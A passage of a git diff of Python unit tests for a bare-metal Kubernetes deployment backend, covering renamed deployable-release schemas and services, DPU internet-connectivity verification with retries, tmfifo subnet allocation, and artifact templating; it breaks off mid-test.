DeployableReleaseListResponse, + DeployableReleaseResponse, DeploymentStepResponse, ) @@ -134,15 +134,18 @@ def _profile_response_data(**overrides) -> dict: "display_name": "BNK 2.2 (GA)", "description": "BNK 2.2 General Availability release", "is_default": True, - "bnk_manifest_version": "2.2.0", - "bnk_cr_kind": "BNKGatewayClass", - "flo_version": "0.10.5", + "is_active": True, + "source_type": "manual", + "bnk_release_id": None, + "bnk_manifest_version": "2.2.1-3.2226.0-0.0.511", + "bnk_cr_kind": "CNEInstance", + "flo_version": "v2.9.27-0.3.4", "k8s_version": "1.30.4", "doca_version": "2.9.1", "containerd_version": "1.7.20", "runc_version": "1.1.13", "calico_version": "3.28.1", - "cert_manager_version": "1.15.3", + "cert_manager_version": "v1.15.3", "gateway_api_version": "1.1.0", "multus_version": "4.1.0", "sriov_version": "1.4.0", @@ -452,47 +455,54 @@ def test_discovery_request_non_bool_coercible_rejected(self): # =========================================================================== -# TestVersionProfileSchemas +# TestDeployableReleaseSchemas # =========================================================================== @pytest.mark.unit -class TestVersionProfileSchemas: - """Tests for BnkVersionProfileResponse and BnkVersionProfileListResponse.""" +class TestDeployableReleaseSchemas: + """Tests for DeployableReleaseResponse and DeployableReleaseListResponse.""" - def test_profile_response_valid(self): - resp = BnkVersionProfileResponse(**_profile_response_data()) + def test_release_response_valid(self): + resp = DeployableReleaseResponse(**_profile_response_data()) assert resp.name == "bnk-2.2" assert resp.is_default is True - assert resp.bnk_cr_kind == "BNKGatewayClass" + assert resp.is_active is True + assert resp.source_type == "manual" + assert resp.bnk_release_id is None + assert resp.bnk_cr_kind == "CNEInstance" assert resp.feature_flags == {"ipv6": False, "tmm_node_labels": True} - def test_profile_response_nullable_description(self): - resp = BnkVersionProfileResponse(**_profile_response_data(description=None)) + def test_release_response_nullable_description(self): + resp = DeployableReleaseResponse(**_profile_response_data(description=None)) assert resp.description is None - def test_profile_response_nullable_feature_flags(self): - resp = BnkVersionProfileResponse(**_profile_response_data(feature_flags=None)) + def test_release_response_nullable_feature_flags(self): + resp = DeployableReleaseResponse(**_profile_response_data(feature_flags=None)) assert resp.feature_flags is None - def test_profile_response_missing_required_rejected(self): + def test_release_response_nullable_bnk_release_id(self): + resp = DeployableReleaseResponse(**_profile_response_data(bnk_release_id=42)) + assert resp.bnk_release_id == 42 + + def test_release_response_missing_required_rejected(self): data = _profile_response_data() del data["bnk_manifest_version"] with pytest.raises(ValidationError): - BnkVersionProfileResponse(**data) + DeployableReleaseResponse(**data) - def test_profile_response_wrong_type_rejected(self): + def test_release_response_wrong_type_rejected(self): with pytest.raises(ValidationError): - BnkVersionProfileResponse(**_profile_response_data(id="not-an-int")) # type: ignore[arg-type] + DeployableReleaseResponse(**_profile_response_data(id="not-an-int")) # type: ignore[arg-type] - def test_profile_list_response_empty(self): - resp = BnkVersionProfileListResponse(profiles=[]) - assert resp.profiles == [] + def test_release_list_response_empty(self): + resp = DeployableReleaseListResponse(releases=[]) + assert resp.releases == [] - def test_profile_list_response_with_profiles(self): - prof = BnkVersionProfileResponse(**_profile_response_data()) - resp = BnkVersionProfileListResponse(profiles=[prof]) - assert len(resp.profiles) == 1 - assert resp.profiles[0].name == "bnk-2.2" + def test_release_list_response_with_releases(self): + release = DeployableReleaseResponse(**_profile_response_data()) + resp = DeployableReleaseListResponse(releases=[release]) + assert len(resp.releases) == 1 + assert resp.releases[0].name == "bnk-2.2" class TestBareMetalDiscoveryResponseDocaStatus: diff --git a/backend/tests/unit/test_ssh_modules.py b/backend/tests/unit/test_ssh_modules.py index a159427e..075247e1 100644 --- a/backend/tests/unit/test_ssh_modules.py +++ b/backend/tests/unit/test_ssh_modules.py @@ -1076,3 +1076,122 @@ def test_bf_cfg_cloud_init_valid_yaml_with_all_options(self): assert "write_files" in parsed assert "runcmd" in parsed assert "chpasswd" in parsed + + +# ── setup-dpu-networking: internet verification ─────────────────────── + + +class TestSetupDPUNetworkingVerification: + """BM-VER: _verify_dpu_internet_access is retry-tolerant and diagnostic.""" + + def _make_result(self, exit_code: int = 0, stdout: str = "", stderr: str = ""): + from unittest.mock import MagicMock + r = MagicMock() + r.exit_code = exit_code + r.stdout = stdout + r.stderr = stderr + return r + + def _make_session(self, side_effects: list): + """Mock dpu_session where execute() returns side_effects in order.""" + from unittest.mock import MagicMock + session = MagicMock() + session.execute.side_effect = side_effects + return session + + def test_verify_passes_immediately_on_icmp(self): + """ICMP succeeds on attempt 1 — returns after a single execute call.""" + mod = SetupDPUNetworkingModule() + session = self._make_session([ + self._make_result(exit_code=0, stdout="1 packets transmitted, 1 received"), + ]) + logs: list[str] = [] + mod._verify_dpu_internet_access(session, logs.append, max_attempts=5, sleep_seconds=0) + assert session.execute.call_count == 1 + assert any("ICMP 8.8.8.8 OK" in line for line in logs) + + def test_verify_passes_on_second_attempt_after_arp_miss(self): + """ARP miss on attempt 1: ICMP + DNS both fail, then ICMP passes on attempt 2.""" + mod = SetupDPUNetworkingModule() + session = self._make_session([ + # attempt 1 + self._make_result(exit_code=1, stdout="", stderr="Network unreachable"), + self._make_result(exit_code=1, stdout="DNS_FAILED"), + # attempt 2 + self._make_result(exit_code=0, stdout="1 packets transmitted, 1 received"), + ]) + logs: list[str] = [] + mod._verify_dpu_internet_access(session, logs.append, max_attempts=5, sleep_seconds=0) + assert session.execute.call_count == 3 + assert any("ICMP 8.8.8.8 OK" in line for line in logs) + assert any("retrying" in line for line in logs) + + def test_verify_passes_via_dns_and_tcp_when_icmp_blocked(self): + """ICMP blocked by firewall: DNS + TCP succeed so verification passes.""" + mod = SetupDPUNetworkingModule() + session = self._make_session([ + self._make_result(exit_code=1, stdout=""), # ICMP blocked + self._make_result(exit_code=0, stdout="DNS_OK"), # DNS resolves + self._make_result(exit_code=0, stdout="TCP_OK"), # TCP pkgs.k8s.io:443 + ]) + logs: list[str] = [] + mod._verify_dpu_internet_access(session, logs.append, max_attempts=3, sleep_seconds=0) + assert any("DNS:" in line for line in logs) + assert any("TCP:" in line for line in logs) + assert any("verified" in line for line in logs) + + def test_verify_raises_naming_dns_on_dns_failure(self): + """All attempts: ICMP fails + DNS fails → RuntimeError names DNS:pkgs.k8s.io.""" + mod = SetupDPUNetworkingModule() + fail_icmp = self._make_result(exit_code=1, stdout="") + fail_dns = self._make_result(exit_code=1, stdout="DNS_FAILED") + session = self._make_session([fail_icmp, fail_dns] * 3) + logs: list[str] = [] + with pytest.raises(RuntimeError) as exc_info: + mod._verify_dpu_internet_access(session, logs.append, max_attempts=3, sleep_seconds=0) + assert "DNS:pkgs.k8s.io" in str(exc_info.value) + assert "3 attempt" in str(exc_info.value) + + def test_verify_raises_naming_tcp_endpoints_on_tcp_failure(self): + """DNS OK but both TCP endpoints fail → RuntimeError names both TCP checks.""" + mod = SetupDPUNetworkingModule() + fail_icmp = self._make_result(exit_code=1, stdout="") + ok_dns = self._make_result(exit_code=0, stdout="DNS_OK") + fail_tcp = self._make_result(exit_code=1, stdout="TCP_FAILED") + # 2 attempts × (ICMP + DNS + 2 TCP endpoints) = 8 calls + session = self._make_session([fail_icmp, ok_dns, fail_tcp, fail_tcp] * 2) + logs: list[str] = [] + with pytest.raises(RuntimeError) as exc_info: + mod._verify_dpu_internet_access(session, logs.append, max_attempts=2, sleep_seconds=0) + error_msg = str(exc_info.value) + assert "TCP:pkgs.k8s.io:443" in error_msg + assert "TCP:github.com:443" in error_msg + + def test_verify_raises_after_all_retries_exhausted(self): + """Genuine failure: error message reports attempt count and check names.""" + mod = SetupDPUNetworkingModule() + fail_icmp = self._make_result(exit_code=1, stdout="") + fail_dns = self._make_result(exit_code=1, stdout="DNS_FAILED") + session = self._make_session([fail_icmp, fail_dns] * 5) + logs: list[str] = [] + with pytest.raises(RuntimeError) as exc_info: + mod._verify_dpu_internet_access(session, logs.append, max_attempts=5, sleep_seconds=0) + error_msg = str(exc_info.value) + assert "5 attempt" in error_msg + assert "ICMP:8.8.8.8" in error_msg + # Error is actionable — points at what to check + assert "iptables" in error_msg or "resolv.conf" in error_msg + + def test_verify_second_tcp_endpoint_tried_on_first_failure(self): + """When pkgs.k8s.io:443 TCP fails, github.com:443 is attempted next.""" + mod = SetupDPUNetworkingModule() + session = self._make_session([ + self._make_result(exit_code=1, stdout=""), # ICMP fail + self._make_result(exit_code=0, stdout="DNS_OK"), # DNS OK + self._make_result(exit_code=1, stdout="TCP_FAILED"), # pkgs.k8s.io:443 fail + self._make_result(exit_code=0, stdout="TCP_OK"), # github.com:443 OK + ]) + logs: list[str] = [] + mod._verify_dpu_internet_access(session, logs.append, max_attempts=2, sleep_seconds=0) + assert session.execute.call_count == 4 + assert any("github.com:443" in line for line in logs) diff --git a/backend/tests/unit/test_tmfifo_ipam_service.py b/backend/tests/unit/test_tmfifo_ipam_service.py new file mode 100644 index 00000000..3bae94c8 --- /dev/null +++ b/backend/tests/unit/test_tmfifo_ipam_service.py @@ -0,0 +1,99 @@ +"""Unit tests for TmfifoPoolAllocator (ADR-424).""" + +from unittest.mock import MagicMock + +import pytest + +from core.errors import ValidationError +from models.dpu import Dpu +from models.kubernetes import BnkClusterConfig +from services.tmfifo_ipam_service import TmfifoPoolAllocator + + +@pytest.fixture +def mock_db(): + return MagicMock() + + +def test_tmfifo_allocator_sequential(mock_db): + # Setup mock cluster config + cfg = BnkClusterConfig(cluster_id=1, tmfifo_pool_cidr="192.168.100.0/22") + mock_db.query.return_value.filter.return_value.first.return_value = cfg + mock_db.query.return_value.filter.return_value.all.return_value = [] + + allocator = TmfifoPoolAllocator(mock_db) + + # First allocation + alloc1 = allocator.allocate_next_subnet(cluster_id=1) + assert alloc1.host_ip == "192.168.100.1" + assert alloc1.dpu_ip == "192.168.100.2" + assert alloc1.subnet_cidr == "192.168.100.0/30" + + +def test_tmfifo_allocator_skips_used(mock_db): + cfg = BnkClusterConfig(cluster_id=1, tmfifo_pool_cidr="192.168.100.0/22") + existing_dpu = Dpu(id=10, kubernetes_cluster_id=1, dpu_tmfifo_ip="192.168.100.2") + + # DB mocks + mock_db.query.return_value.filter.return_value.first.return_value = cfg + mock_db.query.return_value.filter.return_value.all.return_value = [existing_dpu] + + allocator = TmfifoPoolAllocator(mock_db) + alloc = allocator.allocate_next_subnet(cluster_id=1) + + # Should skip 192.168.100.0/30 and pick 192.168.100.4/30 + assert alloc.host_ip == "192.168.100.5" + assert alloc.dpu_ip == "192.168.100.6" + assert alloc.subnet_cidr == "192.168.100.4/30" + + +def test_tmfifo_assign_dpu_idempotent(mock_db): + dpu = Dpu( + id=1, + kubernetes_cluster_id=1, + host_tmfifo_ip="192.168.100.1", + dpu_tmfifo_ip="192.168.100.2", + ) + + allocator = TmfifoPoolAllocator(mock_db) + alloc = allocator.assign_dpu_tmfifo(dpu, cluster_id=1) + + assert alloc.host_ip == "192.168.100.1" + assert alloc.dpu_ip == "192.168.100.2" + + +def test_tmfifo_release(mock_db): + dpu = Dpu( + id=1, + kubernetes_cluster_id=1, + host_tmfifo_ip="192.168.100.1", + dpu_tmfifo_ip="192.168.100.2", + ) + + allocator = TmfifoPoolAllocator(mock_db) + allocator.release_dpu_tmfifo(dpu) + + assert dpu.kubernetes_cluster_id is None + assert dpu.host_tmfifo_ip is None + assert dpu.dpu_tmfifo_ip is None + + +def test_tmfifo_invalid_cidr(mock_db): + cfg = BnkClusterConfig(cluster_id=1, tmfifo_pool_cidr="invalid-cidr") + mock_db.query.return_value.filter.return_value.first.return_value = cfg + + allocator = TmfifoPoolAllocator(mock_db) + with pytest.raises(ValidationError, match="Invalid tmfifo pool CIDR"): + allocator.allocate_next_subnet(cluster_id=1) + + +def test_tmfifo_pool_too_small_raises_validation_error(mock_db): + # A /31 (or any prefix >= 30) cannot be subdivided into /30s; + # subnets(new_prefix=30) raises ValueError — must surface as ValidationError (4xx). + cfg = BnkClusterConfig(cluster_id=1, tmfifo_pool_cidr="192.168.100.0/31") + mock_db.query.return_value.filter.return_value.first.return_value = cfg + mock_db.query.return_value.filter.return_value.all.return_value = [] + + allocator = TmfifoPoolAllocator(mock_db) + with pytest.raises(ValidationError, match="cannot be subdivided into /30s"): + allocator.allocate_next_subnet(cluster_id=1) diff --git a/backend/tests/unit/test_usecase_artifact_service.py b/backend/tests/unit/test_usecase_artifact_service.py new file mode 100644 index 00000000..c818ea27 --- /dev/null +++ b/backend/tests/unit/test_usecase_artifact_service.py @@ -0,0 +1,109 @@ +""" +Unit tests for services.usecase_artifact_service pure functions — param-lift, +content-hash idempotency, and render (D-034 Phase 0 tracer). +""" + +from types import SimpleNamespace + +import pytest + +from core.errors import BadRequestError +from services.usecase_artifact_service import ( + compute_content_hash, + lift_params, + render, +) + + +def _vlan(name: str, selfips: list[str], namespace: str = "spk") -> dict: + return { + "kind": "F5SPKVlan", + "apiVersion": "k8s.f5net.com/v1", + "metadata": {"name": name, "namespace": namespace}, + "spec": {"selfip_v4s": selfips, "interfaces": ["p0"]}, + } + + +class TestLiftParams: + """param-lift via the _CAPTURE_PATHS registry — iterates, never `if kind == ...`.""" + + def test_replaces_selfip_with_token(self): + templates, schema = lift_params([_vlan("vlan1", ["10.0.0.1/24"])]) + assert templates[0]["spec"]["selfip_v4s"] == "${selfip_v4s}" + assert templates[0]["spec"]["interfaces"] == ["p0"] # untouched — not a capture path + + def test_param_schema_entry_shape(self): + _, schema = lift_params([_vlan("vlan1", ["10.0.0.1/24"])]) + assert len(schema) == 1 + entry = schema[0] + assert entry["key"] == "selfip_v4s" + assert entry["type"] == "ip" + assert entry["kind"] == "assigned" + assert entry["is_list"] is True + assert entry["required"] is True + assert entry["source_paths"] == [{"kind": "F5SPKVlan", "jsonpath": "spec.selfip_v4s"}] + + def test_multiple_resources_share_one_param_entry(self): + _, schema = lift_params([_vlan("vlan1", ["10.0.0.1/24"]), _vlan("vlan2", ["10.0.0.2/24"])]) + assert len(schema) == 1 + + def test_non_matching_kind_untouched(self): + other = {"kind": "Gateway", "spec": {"selfip_v4s": ["10.0.0.1/24"]}} + templates, schema = lift_params([other]) + assert templates[0]["spec"]["selfip_v4s"] == ["10.0.0.1/24"] + assert schema == [] + + def test_missing_path_skipped(self): + vlan = {"kind": "F5SPKVlan", "spec": {"interfaces": ["p0"]}} + templates, schema = lift_params([vlan]) + assert schema == [] + assert templates[0]["spec"] == {"interfaces": ["p0"]} + + def test_does_not_mutate_input(self): + original = _vlan("vlan1", ["10.0.0.1/24"]) + lift_params([original]) + assert original["spec"]["selfip_v4s"] == ["10.0.0.1/24"] + + +class TestContentHash: + """content_hash covers templated structure only — excludes concrete values.""" + + def test_same_shape_different_values_same_hash(self): + templates_a, schema_a = lift_params([_vlan("vlan1", ["10.0.0.1/24"])]) + templates_b, schema_b = lift_params([_vlan("vlan1", ["192.168.1.1/24"])]) + assert compute_content_hash(templates_a, schema_a) == compute_content_hash(templates_b, schema_b) + + def test_different_shape_different_hash(self): + templates_a, schema_a = lift_params([_vlan("vlan1", ["10.0.0.1/24"])]) + templates_b, schema_b = lift_params([_vlan("vlan2", ["10.0.0.1/24"])]) + assert compute_content_hash(templates_a, schema_a) != compute_content_hash(templates_b, schema_b) + + def test_hash_is_deterministic(self): + templates, schema = lift_params([_vlan("vlan1", ["10.0.0.1/24"])]) + assert compute_content_hash(templates, schema) == compute_content_hash(templates, schema) + + +class TestRender: + """render() substitutes tokens; missing required params are a hard error.""" + + def _version(self, templates, schema): + return SimpleNamespace(cr_templates=templates, param_schema=schema) + + def test_substitutes_concrete_value(self): + templates, schema = lift_params([_vlan("vlan1", ["10.0.0.1/24"])]) + version = self._version(templates, schema) + rendered = render(version, {"selfip_v4s": ["10.9.9.9/24"]}) + assert rendered[0]["spec"]["selfip_v4s"] == ["10.9.9.9/24"] + + def test_missing_required_param_raises(self): + templates, schema = lift_params([_vlan("vlan1", ["10.0.0.1/24"])]) + version = self._version(templates, schema) + with pytest.raises(BadRequestError) as exc_info: + render(version, {}) + assert "selfip_v4s" in str(exc_info.value) + + def test_render_does_not_mutate_stored_templates(self): + templates, schema = lift_params([_vlan("vlan1", ["10.0.0.1/24"])]) + version = self._version(templates, schema) + render(version, {"selfip_v4s": ["10.9.9.9/24"]}) + assert version.cr_templates[0]["spec"]["selfip_v4s"] == "${selfip_v4s}" diff --git a/backend/tests/unit/test_version_profiles.py b/backend/tests/unit/test_version_profiles.py index c7f8b480..a6f1501f 100644 --- a/backend/tests/unit/test_version_profiles.py +++ b/backend/tests/unit/test_version_profiles.py @@ -1,38 +1,40 @@ """ -Unit tests for BnkVersionProfileService. +Unit tests for BnkDeployableReleaseService (ADR-478). Uses an in-memory SQLite database — no external services required. +FK enforcement is left OFF so only the bnk_deployable_release table is needed. """ import pytest -from sqlalchemy import create_engine, event +from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker -from database import Base -from models.bare_metal import BnkVersionProfile -from services.bare_metal.version_profiles import BNK_21_PROFILE, BNK_22_PROFILE, BnkVersionProfileService +from models.bnk_deployable_release import BnkDeployableRelease +from schemas.bare_metal import DeployableReleaseResponse +from services.bare_metal.version_profiles import ( + BNK_21_PROFILE, + BNK_22_PROFILE, + BNK_231_RELEASE, + BnkDeployableReleaseService, +) # --------------------------------------------------------------------------- # Fixtures # --------------------------------------------------------------------------- + @pytest.fixture(scope="function") def db_session(): - """Create an in-memory SQLite database with the bare-metal schema.""" + """In-memory SQLite with only the deployable-release table. + + FK enforcement is off (no PRAGMA) so bnk_releases need not exist. + _resolve_bnk_release_id() handles missing bnk_releases gracefully. + """ engine = create_engine( "sqlite:///:memory:", connect_args={"check_same_thread": False}, ) - - # Enable foreign keys for SQLite - @event.listens_for(engine, "connect") - def set_sqlite_pragma(dbapi_connection, connection_record): - cursor = dbapi_connection.cursor() - cursor.execute("PRAGMA foreign_keys=ON") - cursor.close() - - # Only create the tables we need for this test - BnkVersionProfile.__table__.create(engine, checkfirst=True) + BnkDeployableRelease.__table__.create(engine, checkfirst=True) Session = sessionmaker(bind=engine) session = Session() @@ -45,23 +47,24 @@ def set_sqlite_pragma(dbapi_connection, connection_record): @pytest.fixture() def service(db_session): - return BnkVersionProfileService(db=db_session) + return BnkDeployableReleaseService(db=db_session) # --------------------------------------------------------------------------- -# Tests +# TestBnkDeployableReleaseServiceSeed # --------------------------------------------------------------------------- + @pytest.mark.unit -class TestBnkVersionProfileServiceSeed: +class TestBnkDeployableReleaseServiceSeed: """Tests for seed_profiles().""" - def test_seed_creates_both_profiles(self, service, db_session): + def test_seed_creates_three_releases(self, service, db_session): count = service.seed_profiles() db_session.commit() - assert count == 2 - profiles = db_session.query(BnkVersionProfile).all() - assert len(profiles) == 2 + assert count == 3 + releases = db_session.query(BnkDeployableRelease).all() + assert len(releases) == 3 def test_seed_idempotent_second_call_returns_zero(self, service, db_session): service.seed_profiles() @@ -70,72 +73,104 @@ def test_seed_idempotent_second_call_returns_zero(self, service, db_session): db_session.commit() assert count2 == 0 - def test_seed_creates_bnk_21_profile(self, service, db_session): + def test_seed_creates_bnk_21_release(self, service, db_session): service.seed_profiles() db_session.commit() - p = db_session.query(BnkVersionProfile).filter_by(name="bnk-2.1").first() - assert p is not None - assert p.is_default is False - assert p.bnk_cr_kind == "CNEInstance" - assert p.k8s_version == "1.29.8" - - def test_seed_creates_bnk_22_profile(self, service, db_session): + r = db_session.query(BnkDeployableRelease).filter_by(name="bnk-2.1").first() + assert r is not None + assert r.is_default is False + assert r.is_active is True + assert r.bnk_cr_kind == "CNEInstance" + assert r.k8s_version == "1.29.8" + assert r.source_type == "manual" + + def test_seed_creates_bnk_22_release_as_default(self, service, db_session): service.seed_profiles() db_session.commit() - p = db_session.query(BnkVersionProfile).filter_by(name="bnk-2.2").first() - assert p is not None - assert p.is_default is True - assert p.bnk_cr_kind == "BNKGatewayClass" - assert p.k8s_version == "1.30.4" + r = db_session.query(BnkDeployableRelease).filter_by(name="bnk-2.2").first() + assert r is not None + assert r.is_default is True + assert r.is_active is True + assert r.bnk_cr_kind == "CNEInstance" + assert r.k8s_version == "1.30.4" + assert r.cert_manager_version == "v1.15.3" + + def test_seed_creates_bnk_231_release(self, service, db_session): + service.seed_profiles() + db_session.commit() + r = db_session.query(BnkDeployableRelease).filter_by(name="bnk-2.3.1").first() + assert r is not None + assert r.is_default is False + assert r.is_active is True + assert r.bnk_cr_kind == "CNEInstance" + assert r.k8s_version == "1.30.14" + assert r.cert_manager_version == "v1.16.2" + assert r.doca_version == "3.2.0" + + def test_single_default_invariant_after_seed(self, service, db_session): + """Exactly one release may have is_default=True after seed.""" + service.seed_profiles() + db_session.commit() + defaults = db_session.query(BnkDeployableRelease).filter_by(is_default=True).all() + assert len(defaults) == 1 + assert defaults[0].name == "bnk-2.2" def test_seed_partial_idempotency(self, service, db_session): - """If one profile exists already, seed only creates the missing one.""" - db_session.add(BnkVersionProfile(**BNK_21_PROFILE)) + """If one release exists, seed only creates the two missing ones.""" + db_session.add(BnkDeployableRelease(**BNK_21_PROFILE)) db_session.commit() count = service.seed_profiles() db_session.commit() - assert count == 1 # Only BNK 2.2 was missing + assert count == 2 # bnk-2.2 and bnk-2.3.1 were missing + + +# --------------------------------------------------------------------------- +# TestBnkDeployableReleaseServiceList +# --------------------------------------------------------------------------- @pytest.mark.unit -class TestBnkVersionProfileServiceList: +class TestBnkDeployableReleaseServiceList: """Tests for list_profiles().""" - def test_list_empty_when_no_profiles(self, service): + def test_list_empty_when_no_releases(self, service): result = service.list_profiles() - assert result.profiles == [] + assert result.releases == [] - def test_list_returns_all_profiles_after_seed(self, service, db_session): + def test_list_returns_all_releases_after_seed(self, service, db_session): service.seed_profiles() db_session.commit() result = service.list_profiles() - assert len(result.profiles) == 2 + assert len(result.releases) == 3 def test_list_ordered_by_name(self, service, db_session): service.seed_profiles() db_session.commit() result = service.list_profiles() - names = [p.name for p in result.profiles] + names = [r.name for r in result.releases] assert names == sorted(names) def test_list_returns_response_objects(self, service, db_session): service.seed_profiles() db_session.commit() - from schemas.bare_metal import BnkVersionProfileResponse result = service.list_profiles() - assert all(isinstance(p, BnkVersionProfileResponse) for p in result.profiles) + assert all(isinstance(r, DeployableReleaseResponse) for r in result.releases) + + +# --------------------------------------------------------------------------- +# TestBnkDeployableReleaseServiceGet +# --------------------------------------------------------------------------- @pytest.mark.unit -class TestBnkVersionProfileServiceGet: +class TestBnkDeployableReleaseServiceGet: """Tests for get_profile().""" - def test_get_profile_returns_correct_profile(self, service, db_session): + def test_get_profile_returns_correct_release(self, service, db_session): service.seed_profiles() db_session.commit() - # Get the ID of bnk-2.2 - p = db_session.query(BnkVersionProfile).filter_by(name="bnk-2.2").first() - result = service.get_profile(p.id) + r = db_session.query(BnkDeployableRelease).filter_by(name="bnk-2.2").first() + result = service.get_profile(r.id) assert result.name == "bnk-2.2" assert result.is_default is True @@ -147,14 +182,18 @@ def test_get_profile_invalid_id_raises_not_found(self, service): def test_get_profile_returns_response_object(self, service, db_session): service.seed_profiles() db_session.commit() - from schemas.bare_metal import BnkVersionProfileResponse - p = db_session.query(BnkVersionProfile).first() - result = service.get_profile(p.id) - assert isinstance(result, BnkVersionProfileResponse) + r = db_session.query(BnkDeployableRelease).first() + result = service.get_profile(r.id) + assert isinstance(result, DeployableReleaseResponse) + + +# --------------------------------------------------------------------------- +# TestBnkDeployableReleaseServiceGetDefault +# --------------------------------------------------------------------------- @pytest.mark.unit -class TestBnkVersionProfileServiceGetDefault: +class TestBnkDeployableReleaseServiceGetDefault: """Tests for get_default_profile().""" def test_get_default_returns_bnk_22(self, service, db_session): @@ -165,7 +204,7 @@ def test_get_default_returns_bnk_22(self, service, db_session): assert result.name == "bnk-2.2" assert result.is_default is True - def test_get_default_returns_none_when_no_profiles(self, service): + def test_get_default_returns_none_when_no_releases(self, service): result = service.get_default_profile() assert result is None @@ -173,33 +212,24 @@ def test_get_default_returns_model_instance(self, service, db_session): service.seed_profiles() db_session.commit() result = service.get_default_profile() - assert isinstance(result, BnkVersionProfile) + assert isinstance(result, BnkDeployableRelease) + + +# --------------------------------------------------------------------------- +# TestBnkDeployableReleaseServiceCreate +# --------------------------------------------------------------------------- @pytest.mark.unit -class TestBnkVersionProfileServiceCreate: +class TestBnkDeployableReleaseServiceCreate: """Tests for create_profile().""" - def test_create_profile_persists(self, service, db_session): + def test_create_release_persists(self, service, db_session): data = { + **BNK_22_PROFILE, "name": "bnk-custom", "display_name": "Custom BNK", - "description": "A custom version", "is_default": False, - "bnk_manifest_version": "3.0.0", - "bnk_cr_kind": "BNKGatewayClass", - "flo_version": "1.0.0", - "k8s_version": "1.31.0", - "doca_version": "3.0.0", - "containerd_version": "1.8.0", - "runc_version": "1.2.0", - "calico_version": "3.29.0", - "cert_manager_version": "1.16.0", - "gateway_api_version": "1.2.0", - "multus_version": "4.2.0", - "sriov_version": "1.5.0", - "storage_class_type": "local-path", - "storage_provisioner": "rancher.io/local-path", "feature_flags": {"ipv6": True}, } result = service.create_profile(data) @@ -207,16 +237,166 @@ def test_create_profile_persists(self, service, db_session): assert result.name == "bnk-custom" assert result.feature_flags == {"ipv6": True} - def test_create_profile_returns_response_object(self, service, db_session): - from schemas.bare_metal import BnkVersionProfileResponse + def test_create_release_returns_response_object(self, service, db_session): data = {**BNK_21_PROFILE, "name": "bnk-test-create"} result = service.create_profile(data) db_session.commit() - assert isinstance(result, BnkVersionProfileResponse) + assert isinstance(result, DeployableReleaseResponse) - def test_create_profile_assigns_id(self, service, db_session): + def test_create_release_assigns_id(self, service, db_session): data = {**BNK_22_PROFILE, "name": "bnk-test-id"} result = service.create_profile(data) db_session.commit() assert result.id is not None assert result.id > 0 + + +# --------------------------------------------------------------------------- +# TestBnkDeployableReleaseServiceSetActive +# --------------------------------------------------------------------------- + + +@pytest.mark.unit +class TestBnkDeployableReleaseServiceSetActive: + """Tests for set_active().""" + + def test_set_inactive_disables_release(self, service, db_session): + service.seed_profiles() + db_session.commit() + r = db_session.query(BnkDeployableRelease).filter_by(name="bnk-2.2").first() + result = service.set_active(r.id, False) + db_session.commit() + assert result.is_active is False + + def test_set_active_enables_release(self, service, db_session): + service.seed_profiles() + db_session.commit() + r = db_session.query(BnkDeployableRelease).filter_by(name="bnk-2.2").first() + service.set_active(r.id, False) + db_session.commit() + result = service.set_active(r.id, True) + db_session.commit() + assert result.is_active is True + + def test_set_active_invalid_id_raises_not_found(self, service): + from core.errors import NotFoundError + with pytest.raises(NotFoundError): + service.set_active(9999, False) + + +# --------------------------------------------------------------------------- +# TestBnkDeployableReleaseServiceSetDefault +# --------------------------------------------------------------------------- + + +@pytest.mark.unit +class TestBnkDeployableReleaseServiceSetDefault: + """Tests for set_default() — single-default invariant.""" + + def test_set_default_sets_new_default(self, service, db_session): + service.seed_profiles() + db_session.commit() + r = db_session.query(BnkDeployableRelease).filter_by(name="bnk-2.3.1").first() + result = service.set_default(r.id) + db_session.commit() + assert result.is_default is True + assert result.name == "bnk-2.3.1" + + def test_set_default_clears_previous_default(self, service, db_session): + service.seed_profiles() + db_session.commit() + r_231 = db_session.query(BnkDeployableRelease).filter_by(name="bnk-2.3.1").first() + service.set_default(r_231.id) + db_session.commit() + db_session.expire_all() + r_22 = db_session.query(BnkDeployableRelease).filter_by(name="bnk-2.2").first() + assert r_22.is_default is False + + def test_set_default_single_default_invariant(self, service, db_session): + """Only one release may be default after set_default.""" + service.seed_profiles() + db_session.commit() + r_231 = db_session.query(BnkDeployableRelease).filter_by(name="bnk-2.3.1").first() + service.set_default(r_231.id) + db_session.commit() + db_session.expire_all() + defaults = db_session.query(BnkDeployableRelease).filter_by(is_default=True).all() + assert len(defaults) == 1 + + def test_set_default_invalid_id_raises_not_found(self, service): + from core.errors import NotFoundError + with pytest.raises(NotFoundError): + service.set_default(9999) + + +# --------------------------------------------------------------------------- +# TestCertManagerFailFast +# --------------------------------------------------------------------------- + + +@pytest.mark.unit +class TestCertManagerFailFast: + """cert_manager_version is catalog-driven (required); no hardcoded default.""" + + def test_cert_manager_missing_version_is_flagged(self): + from modules.bare_metal.bnk_cert_manager import CertManagerSSHModule + mod = CertManagerSSHModule() + errors = mod.validate_inputs({}) + assert any("cert_manager_version" in e for e in errors) + + def test_cert_manager_provided_version_is_not_flagged(self): + from modules.bare_metal.bnk_cert_manager import CertManagerSSHModule + mod = CertManagerSSHModule() + errors = mod.validate_inputs({"cert_manager_version": "v1.16.2"}) + assert not any("cert_manager_version" in e for e in errors) + + def test_cert_manager_input_has_no_hardcoded_default(self): + """cert_manager_version InputSpec must have no default — catalog supplies it.""" + from modules.bare_metal.bnk_cert_manager import CertManagerSSHModule + spec = CertManagerSSHModule.inputs.get("cert_manager_version") + assert spec is not None + # default=None means catalog-driven; any hardcoded string would be a regression. + assert spec.default is None + + +# --------------------------------------------------------------------------- +# TestCneInstanceFailFast +# --------------------------------------------------------------------------- + + +@pytest.mark.unit +class TestCneInstanceFailFast: + """bnk_cr_kind is catalog-driven (required); renders into the CR kind: field.""" + + def test_cneinstance_missing_bnk_cr_kind_is_flagged(self): + from modules.bare_metal.bnk_cneinstance import BnkCneInstanceSSHModule + mod = BnkCneInstanceSSHModule() + errors = mod.validate_inputs({}) + assert any("bnk_cr_kind" in e for e in errors) + + def test_cneinstance_provided_bnk_cr_kind_is_not_flagged(self): + from modules.bare_metal.bnk_cneinstance import BnkCneInstanceSSHModule + mod = BnkCneInstanceSSHModule() + errors = mod.validate_inputs({"bnk_cr_kind": "CNEInstance"}) + assert not any("bnk_cr_kind" in e for e in errors) + + def test_cneinstance_bnk_cr_kind_renders_as_manifest_kind(self): + """bnk_cr_kind value must render as the kind: field in the CR.""" + from modules.bare_metal.bnk_cneinstance import BnkCneInstanceSSHModule + mod = BnkCneInstanceSSHModule() + variables = { + "bnk_cr_kind": "CNEInstance", + "instance_namespace": "f5-bnk", + "instance_name": 